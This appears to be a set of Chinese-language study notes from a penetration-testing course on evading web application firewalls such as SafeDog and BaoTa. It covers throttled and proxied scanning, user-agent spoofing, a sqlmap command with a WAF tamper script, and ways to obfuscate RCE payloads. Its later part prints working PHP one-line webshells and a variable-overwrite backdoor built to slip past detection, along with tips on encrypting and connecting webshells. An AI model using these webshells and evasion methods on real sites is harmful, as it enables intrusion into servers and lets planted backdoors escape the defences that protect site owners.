WAF绕过|总大纲

信息收集|反爬虫|延时|代理池

大纲|信息收集|反爬虫|延时|代理池


相关绕过WAF知识点引入:1:00

具体分析–以目录扫描为例

1、相关子域名、不同后缀等资产收集不会触发WAF的拦截。
2、目录扫描是直接对对方的网站进行扫描,会触发WAF拦截,那么这时候该如何绕过WAF拦截呢,这才是讨论的关键点
SafeDog-默认拦截机制分析绕过7:00-20:12;20:12-59:00
1、若对方网站没有开启cc防护,那么我们对其进行目录扫描的速度就很顺畅快捷(有时候出不了结果:尝试更改提交方式或模拟用户数据包解决这个问题)
2、但是如果对方网站开启了cc防护,我们就不得不要设置延时扫描,速度必然会慢很多。--延时
有的网站会对user-agent设计黑白名单,即百度等搜索引擎这种爬虫不会拦截,而其他会拦截。(御剑的自定义header头可以更改)--反爬虫
但这里有一个问题:就是改了UA虽然绕过了,没有被拦截,那么为什么会没出扫描结果?
答:1、burp模拟用户数据包以及配合模拟爬虫就行了。
2、也可以写py脚本。(原因是御剑工具只可以修改数据包的头部,但是我写py脚本也可以自定义数据包,模拟真实用户的数据包实现对网站开启了cc防护的攻击)
脚本开发的重要性
3、还可以使用代理池技术--代理池(52:00)
SafeDog|阿里云|宝塔联防 1:00:00
1、get一个思路,就是当一个网站配置了多个waf时,你可以自己搭建网站,把几个waf绕过轮流试一遍,最后可以绕过的方案取交集即可。

漏洞发现|代理池|指纹探针

大纲|漏洞发现|代理池|指纹探针

具体分析

1、当扫描速度过快时,会触发waf拦截,可以采用延迟、代理池、白名单等方法绕过
2、当工具指纹被识别到时,会触发waf拦截,可以采用修改特征,模拟用户发包等方法绕过
3、当识别到漏洞payload时,也会触发waf拦截,可以采用数据编译,冷门扫描等方式绕过
4、若对方网站存在难搞的waf时,若钱包空空如也,那我们可以采用延迟的方式去扫描目录(或者使用免费开源的代理池,但是不稳定);如果有钱,那我们可以花钱买个隧道代理,开代理池扫描目录。
5、扫描对方网站(web)漏洞时,采用awvs延时扫描。
6、延迟扫描,当识别到漏洞payload时,会触发waf拦截,所以工具会判定不存在漏洞(但实际可能存在漏洞,只不过被拦截了),这是就采用冷门工具进行扫描。(指纹没有被采集,漏洞payload也未被收集)
awvs+xray实现漏扫:1:10:00

漏洞利用|利用web漏洞上传木马

大纲|漏洞利用|利用web漏洞上传木马

具体分析

SQL注入

两种注入方式:手工、sqlmap。
手工注入不必担心cc流量拦截。而使用sqlmap进行注入的时候需要考虑对方是否存在cc流量拦截。
使用sqlmap的参考命令(绕过waf):

1
python sqlmap.py -u "http://test.xiaodi8.com/sqlilabs/Less-2/?id=1" --proxy="http:tps123.kdlapi.com:15818" --tamper="waf-dog.py" --random-agent

由于sqlmap工具注入时发送的数据包的头部带有sqlmap这个标识、指纹头,所以必须不停变化user-agent

文件上传

php 截断(%00、0x00),参考之前payload上传,绕过waf
和前面文件上传专题的绕过方法一样。

xss跨站

利用xss trike绕过,加上–timeout或者–proxy绕过cc。

RCE

常用的是远程代码执行(eval),但是waf会对phpinfo()、system等函数过滤。
我们就要对传入url的payload操作以下实现绕过
1、进行加密编码。
2、str_replace函数替换。
3、关键词先拆分后拼接。
4、自己在post数据框加入提交方式,然后传值。

文件包含

以下几种:..\ …./ ...\等,详情见
https://fzsecurity-github.github.io/2023/10/14/wenjianbaohan/

权限控制|代码混淆

大纲|权限控制|代码混淆

具体分析|听课笔记

1、脚本语言类型无关紧要,重要的是思路,思路一般都是互通的。

2、代码层面绕过检测:变量覆盖、加密混淆、异或加密生成–项目webshell-venom-master(p47:13:00)

1
2
assert($_POST['chopper'])//更灵活
@eval($_POST['chopper'])

(1)、变量覆盖

1
2
3
4
5
6
7
8
<?php
$a = $_GET['x'];
$$a = $_GET['y'];
$b($_POST['z']);//此处可以排行base64编码
//?x=b&y=assert--传参
//$a $$a=assert=$b--传参
//assert($_POST['chopper'])--最终构成一句话木马
?>

值得一提的是,变量拼接(覆盖)的方式只在低版本的php有用,目前不缺少通杀马,所有这种方法是个鸡肋
(2)、加密混淆
下载地址:
https://github.com/djunny/enphp
目标加密的代码(不是编码),这样是绕过的一种思路,不要将code_test的文件移到或者删除很有可能会导致使用失败。
如果上面的方式被安全狗杀掉,或者过不了宝塔的话。
借用在线API接口实现加密混淆
网址:
http://phpjiami.com/phpjiami.html
有些后门代码为了绕过检测对代码采取了编码(对一句话木马的关键代码进行base64编码)。这样可以绕过waf,但是可能不被webshell管理工具所接受(连接不上,因为代码存在base64解码,但是websehll管理工具不存在自动base编码)--就比如异或生成的木马,蚁剑就连不上去(这时候我们就要给传输的数据包进行base64编码,蚁剑的编码器的base64勾上就可以连接得上,但是冰蝎不知道如何操作)

3、webshell工具优缺点
菜刀,蚁剑,冰蝎优缺点
菜刀:未更新状态,无插件,单向加密传输
蚁剑:更新状态,有插件,拓展性强,单向加密传输
冰蝎:更新状态,未知插件,拓展性强,偏向于后渗透,双向加密传输
单双向加密传输的区别:
双向加密传输就是发包之前已经加密了,并且从服务器传回来的数据也是加密的,这样在安全狗这些WAF检测内容的时候就狠nice。
了解websehll工具原理以及不同工具的原理对比:1:09:00

4、自写轮子
在webshell连接之后,查看目录发现获取不了。
原因:对方waf识别到webshell指纹,拦截;对方waf检测到敏感操作,拦截。
那么只可以自己造轮子(last 10min)
1、成功上传后门脚本文件以后,我不使用webshell工具连接,我通过抓取webshell连接的数据包分析,我可以post传送其他读取文件(夹)的函数(payload)过去也可以实现。(就相当于代码执行)
2、有了这样的思路,我们就可以自己写一个webshell工具了。